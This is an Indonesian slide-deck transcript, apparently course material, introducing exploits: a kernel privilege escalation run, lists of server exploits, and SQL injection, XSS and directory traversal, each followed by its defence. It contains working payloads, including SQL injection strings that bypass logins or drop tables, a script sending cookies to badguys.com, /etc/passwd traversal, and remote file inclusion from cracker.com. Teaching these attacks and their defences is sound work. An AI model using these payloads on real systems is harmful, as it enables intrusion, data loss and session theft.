exploits
TRANSCRIPT
![Page 1: Exploits](https://reader031.vdocuments.site/reader031/viewer/2022013121/5571fa4e497959916991cd7b/html5/thumbnails/1.jpg)
Exploits
Exploits adalah teknik untuk mendapatkan/membobol akses dengan memanfaatkan/mengeksploitasi kelemahan sistem. Kelemahan sistem itu sendiri akibat kesalahan atau ketidaktelitian dalam coding (pembuatan aplikasi/program).
Ada tiga level software yang rawan serangan exploits:
OS (kernel)
Server (apache, ftp, MySQL)
Server Apps(php, jsp, asp)
![Page 2: Exploits](https://reader031.vdocuments.site/reader031/viewer/2022013121/5571fa4e497959916991cd7b/html5/thumbnails/2.jpg)
Jenis-jenis Exploits
1. Local Exploits
Exploits yang dijalankan dari komputer lokal dengan target komputer itu sendiri.
2. Remote Exploits
Exploits yang dijalankan dari komputer (remote) yang berbeda dengan komputer target/korban.
![Page 3: Exploits](https://reader031.vdocuments.site/reader031/viewer/2022013121/5571fa4e497959916991cd7b/html5/thumbnails/3.jpg)
OS/Kernel Exploits
Salah satu Linux kernel exploits adalah full-nelson.c buatan Dan Rosenberg. Exploits ini termasuk local privilege escalation exploit yang dapat mengubah user biasa menjadi user root. Exploits ini berlaku bagi semua versi Linux kernel di bawah 2.6.37 yang belum di-patch atau di-update.
Compile exploits menjadi binary:
$ gcc full-nelson.c -o full-nelson
Jalankan exploits tersebut:
$ ./full-nelson[*] Resolving kernel addresses... [+] Resolved econet_ioctl to 0xe0972280 [+] Resolved econet_ops to 0xe0972360 [+] Resolved commit_creds to 0xc01625c0 [+] Resolved prepare_kernel_cred to 0xc01627c0[*] Calculating target...[*] Triggering payload...[*] Got root!
Jika berhasil maka diri kita akan menjadi root, cek dengan:
# whoami
![Page 4: Exploits](https://reader031.vdocuments.site/reader031/viewer/2022013121/5571fa4e497959916991cd7b/html5/thumbnails/4.jpg)
Server ExploitsServer exploits adalah exploits yang ditujukan kepada aplikasi daemon server seperti web server, mail server, ftp server, dan sejenisnya. Karena berupa daemon server, maka tipe ini termasuk remote exploits yang memanfaatkan jaringan komputer.
Beberapa contoh server exploits antara lain adalah:● Exim4 <= 4.69 string_format Function Heap Buffer Overflow● ProFTPD-1.3.3c Backdoor Command Execution● SpamAssassin spamd Remote Command Execution● SquirrelMail PGP Plugin command execution (SMTP)● Samba trans2open Overflow (Linux x86)● Samba chain_reply Memory Corruption (Linux x86)● Samba lsa_io_trans_names Heap Overflow● ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)● Oracle VM Server Virtual Server Agent Command Injection
Cara kerja server/remote exploits sama dengan local exploits, hanya saja exploits dijalankan dari komputer penyerang yang ditujukan ke server tertentu (korban).
![Page 5: Exploits](https://reader031.vdocuments.site/reader031/viewer/2022013121/5571fa4e497959916991cd7b/html5/thumbnails/5.jpg)
Mengatasi OS dan Server Exploits
● Ikuti milis dan update vulneribility terbaru (yg dikenal dengan istilah bugtraq), seperti: http://www.securityfocus.com/ atau http://www.exploit-db.com/
● Patch sistem secara rutin
● Update sistem secara rutin
![Page 6: Exploits](https://reader031.vdocuments.site/reader031/viewer/2022013121/5571fa4e497959916991cd7b/html5/thumbnails/6.jpg)
Server Apps Exploits
Server apps exploits adalah exploits yang ditujukan kepada aplikasi web seperti PHP, JSP dan ASP.
Beberapa contoh server (web) apps exploits antara lain adalah:● SQL injection● Cross site scripting● Directory traversal dan remote file inclusion
Cara kerja exploits ini antara lain menggunakan manipulasi URL pada browser untuk mengakses aplikasi web (database) korban.
![Page 7: Exploits](https://reader031.vdocuments.site/reader031/viewer/2022013121/5571fa4e497959916991cd7b/html5/thumbnails/7.jpg)
1. SQL Injection: login bypass #1Sebagai contoh ada form login seperti ini:
Username:
Password :
Member Login
Login
Input data di atas akan divalidasi oleh SQL berikut:
SELECT idFROM loginsWHERE username = '$username'AND password = '$password’
![Page 8: Exploits](https://reader031.vdocuments.site/reader031/viewer/2022013121/5571fa4e497959916991cd7b/html5/thumbnails/8.jpg)
1. SQL Injection: login bypass #2Jika form login di bawah diisi dengan data:
Username:
Password :
Member Login
budi
mautauaja
Login
Maka data yang akan divalidasi oleh SQL adalah sebagai berikut:
SELECT idFROM loginsWHERE username = 'budi'AND password = 'mautauaja'
Jika data di atas valid maka query akan bernilai true dan user boleh login. Sebaliknya jika tidak valid maka user tidak diizinkan login.
![Page 9: Exploits](https://reader031.vdocuments.site/reader031/viewer/2022013121/5571fa4e497959916991cd7b/html5/thumbnails/9.jpg)
1. SQL Injection: login bypass #3Jika aplikasi login di bawah vulnerable, maka ia bisa di-SQL inject:
Username:
Password :
Member Login
budi
anything' or 'x'='x
Login
Maka query yang akan dijalankan oleh SQL adalah sebagai berikut:
SELECT idFROM loginsWHERE username = 'budi'AND password = 'anything' or 'x'='x'
Maka nilai query di atas akan selalu true (jika user budi terdaftar), sekalipun password yang dimasukkan salah.
alwaysTRUE
![Page 10: Exploits](https://reader031.vdocuments.site/reader031/viewer/2022013121/5571fa4e497959916991cd7b/html5/thumbnails/10.jpg)
1. SQL Injection: SQL syntaxSQL injection juga dapat berupa syntax-syntax SQL umum:
Username:
Password :
Member Login
budi
x'; SHOW TABLES; --
Login
Maka query yang akan dijalankan oleh SQL adalah sebagai berikut:
SELECT idFROM loginsWHERE username = 'budi'AND password = 'x'; SHOW TABLES; --'
query 1(original)
query 2(malicious)
query 3(comment)
![Page 11: Exploits](https://reader031.vdocuments.site/reader031/viewer/2022013121/5571fa4e497959916991cd7b/html5/thumbnails/11.jpg)
1. SQL Injection: drop tableBahkan SQL injection dapat berupa syntax berbahaya berikut:
Username:
Password :
Member Login
budi
x'; DROP TABLE members; --
Login
Maka query yang akan dijalankan oleh SQL adalah sebagai berikut:
SELECT idFROM loginsWHERE username = 'budi'AND password = 'x'; DROP TABLE logins; --'
query 1(original)
query 2(malicious)
query 3(comment)
![Page 12: Exploits](https://reader031.vdocuments.site/reader031/viewer/2022013121/5571fa4e497959916991cd7b/html5/thumbnails/12.jpg)
Antisipasi SQL Injection
Initinya: sanitasi, filter, amankan semua input aplikasi/database kita. Salah satu caranya menggunakan fungsi: mysql_real_escape_string(). Fungsi ini menambahkan karakter backslash (\) di depan karakter single quote (') pada string SQL injection. Contohnya string SQL injection seperti ini:
$password = “anything' or 'x'='x”;
Setelah difilter oleh fungsi mysql_real_escape_string($password) menjadi:
$password = “anything\' or \'x\'=\'x”;
String di atas ketika dieksekusi hanya akan menghasilkan error.
![Page 13: Exploits](https://reader031.vdocuments.site/reader031/viewer/2022013121/5571fa4e497959916991cd7b/html5/thumbnails/13.jpg)
2. Cross Site Scripting (XSS)
Berbeda dengan serangan SQL injection yang ditujukan kepada web server, XSS adalah serangan yang ditujukan kepada client/user yang mengakses web server tertentu.
Caranya dengan memanfaatkan form isian (buku tamu, komentar, dll) dari sebuah web site, dengan memasukkan script tertentu (biasanya JavaScricpt) pada halaman tersebut. Ketika ada client/user mengakses halaman tersebut, maka user tersebut terjebak dalam script yang merugikan dirinya.
Tujuannya script XSS bervariasi. Yang paling sederhana seperti memaksa browser membuka alamat tertentu (spam), sampai pencurian data cookies dan session.
Sebagai contoh, seseorang bisa saja menaruh script untuk menyimpan cookies dan info penting lainnya di dalam form komentar sebagai berikut:
<script>document.location = 'http://www.badguys.com/cgi-bin/cookie.php?' + document.cookie;</script>
Untuk mengantisipasinya, jangan izinkan user memasukkan kode-kode html/javascript di dalam form. Gunakan fungsi-fungsi (PHP) untuk mem-filter tag-tag html seperti htmlentities(), htmlspecialchars() atau strip_tags().
![Page 14: Exploits](https://reader031.vdocuments.site/reader031/viewer/2022013121/5571fa4e497959916991cd7b/html5/thumbnails/14.jpg)
3. Directory Traversal
Directory traversal adalah sebuah serangan yang memanfaatkan variabel URL untuk mengakses file atau direktori penting pada sebuah server. Sebagai contoh ada sebuah URL sebagai berikut:
http://www.korban.com?page=home.php
Jika server di atas vulnerable oleh serangan directory traversal, maka kita bisa mencoba memasukkan ini:
http://www.korban.com?page=../../../../etc/passwd
Yang akan menampilkan isi file penting /etc/passwd
Atau bisa juga diarahkan untuk mengeksekusi script tertentu yang berada pada server milik penyerang (remote file inclusion):
http://www.korban.com?page=http://cracker.com/malice.php
![Page 15: Exploits](https://reader031.vdocuments.site/reader031/viewer/2022013121/5571fa4e497959916991cd7b/html5/thumbnails/15.jpg)
Antisipasi Directory Traversal
Cara yang paling jitu mengantisipai directory traversal adalah dengan melakukan filter terhadap variabel URL. Salah satunya dengan pre defined values sebagai berikut:
$pages = array( 'home', 'login', 'logout', // etc.);
if (!in_array($page, $pages) { die('Invalid page');}
Sehingga jika ada yang memasukkan data pada variabel page selain yang didefinisikan pada array, pasti akan ditolak (invalid page).